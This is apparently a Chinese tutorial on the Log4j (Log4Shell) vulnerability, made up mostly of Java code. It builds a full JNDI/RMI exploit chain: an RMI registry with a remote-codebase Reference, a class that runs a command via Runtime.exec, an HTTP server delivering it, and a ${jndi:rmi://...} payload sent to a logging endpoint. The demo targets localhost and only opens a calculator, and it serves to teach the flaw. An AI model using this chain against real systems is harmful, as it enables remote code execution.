用3个实例从原理到实战讲清楚Log4j史诗级漏洞

目录

• 背景
• JNDI是个什么鬼？

• 命名服务与目录服务的区别
• JNDI架构分层
• JNDI的应用

• 基于RMI的实现
• 构建攻击
• 进一步改造

// ①定义接口
public interface RmiService extends Remote {
	String sayHello() throws RemoteException;
}
// ②接口实现
public class MyRmiServiceImpl extends UnicastRemoteObject implements RmiService {
	protected MyRmiServiceImpl() throws RemoteException {
	}
	@Override
	public String sayHello() throws RemoteException {
		return "Hello World!";
	}
}
// ③服务绑定并启动监听
public class RmiServer {
	public static void main(String[] args) throws Exception {
		Registry registry = LocateRegistry.createRegistry(1099);
		System.out.println("RMI启动，监听：1099 端口");
		registry.bind("hello", new MyRmiServiceImpl());
		Thread.currentThread().join();
	}
}

public class RmiClient {
	public static void main(String[] args) throws Exception {
		Hashtable env = new Hashtable();
		env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
		env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
		Context ctx = new InitialContext(env);
		RmiService service = (RmiService) ctx.lookup("hello");
		System.out.println(service.sayHello());
	}
}

public class RmiServer {
	public static void main(String[] args) throws Exception {
		System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
		Registry registry = LocateRegistry.createRegistry(1099);
		System.out.println("RMI启动，监听：1099 端口");
		Reference reference = new Reference("Calc", "Calc", "http://127.0.0.1:8000/");
		ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
		registry.bind("hello", referenceWrapper);
		Thread.currentThread().join();
	}
}

192:~ zzs$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

public class RmiClient {
	public static void main(String[] args) throws Exception {
		System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
		Hashtable env = new Hashtable();
		env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
		env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
		Context ctx = new InitialContext(env);
		ctx.lookup("hello");
	}
}

127.0.0.1 - - [12/Dec/2021 16:19:40] code 404, message File not found
127.0.0.1 - - [12/Dec/2021 16:19:40] "GET /Calc.class HTTP/1.1" 404 -

public class BugFinder {
	public BugFinder() {
		try {
			System.out.println("执行漏洞代码");
			String[] commands = {"open", "/System/Applications/Calculator.app"};
			Process pc = Runtime.getRuntime().exec(commands);
			pc.waitFor();
			System.out.println("完成执行漏洞代码");
		} catch (Exception e) {
			e.printStackTrace();
		}
	}
	public static void main(String[] args) {
		BugFinder bugFinder = new BugFinder();
	}
}

@RestController
public class ClassController {
	@GetMapping(value = "/BugFinder.class")
	public void getClass(HttpServletResponse response) {
		String file = "/Users/zzs/temp/BugFinder.class";
		FileInputStream inputStream = null;
		OutputStream os = null;
		try {
			inputStream = new FileInputStream(file);
			byte[] data = new byte[inputStream.available()];
			inputStream.read(data);
			os = response.getOutputStream();
			os.write(data);
			os.flush();
		} catch (Exception e) {
			e.printStackTrace();
		} finally {
			// 省略流的判断关闭；
		}
	}
}

public class RmiServer {
	public static void main(String[] args) throws Exception {
		System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
		Registry registry = LocateRegistry.createRegistry(1099);
		System.out.println("RMI启动，监听：1099 端口");
		Reference reference = new Reference("com.secbro.rmi.BugFinder", "com.secbro.rmi.BugFinder", "http://127.0.0.1:8080/BugFinder.class");
		ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
		registry.bind("hello", referenceWrapper);
		Thread.currentThread().join();
	}
}

public class RmiClient {
	public static void main(String[] args) throws Exception {
		System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
		Hashtable env = new Hashtable();
		env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
		env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
		Context ctx = new InitialContext(env);
		ctx.lookup("hello");
	}
}

<dependency>
	<groupId>org.springframework.boot</groupId>
	<artifactId>spring-boot-starter-web</artifactId>
	<exclusions><!-- 去掉springboot默认配置 -->
		<exclusion>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-logging</artifactId>
			</exclusion>
		</exclusions>
</dependency>
<dependency> <!-- 引入log4j2依赖 -->
   <groupId>org.springframework.boot</groupId>
   <artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>

public class RmiServer {
	public static void main(String[] args) throws Exception {
		System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
		Registry registry = LocateRegistry.createRegistry(1099);
		System.out.println("RMI启动，监听：1099 端口");
		Reference reference = new Reference("com.secbro.rmi.BugFinder", "com.secbro.rmi.BugFinder", null);
		ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
		registry.bind("hello", referenceWrapper);
		Thread.currentThread().join();
	}
}

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class RmiClient {
	private static final Logger logger = LogManager.getLogger(RmiClient.class);
	public static void main(String[] args) throws Exception {
		System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
		logger.error("${jndi:rmi://127.0.0.1:1099/hello}");
		Thread.sleep(5000);
	}
}

@RestController
public class Log4jController {
	private static final Logger logger = LogManager.getLogger(Log4jController.class);
	/**
	 * 方便测试，用了get请求
	 * @param username 登录名称
	 */
	@GetMapping("/a")
	public void log4j(String username){
		System.out.println(username);
		// 打印登录名称
		logger.info(username);
	}
}

http://localhost:8080/a?username=%24%7Bjndi%3Armi%3A%2F%2F127.0.0.1%3A1099%2Fhello%7D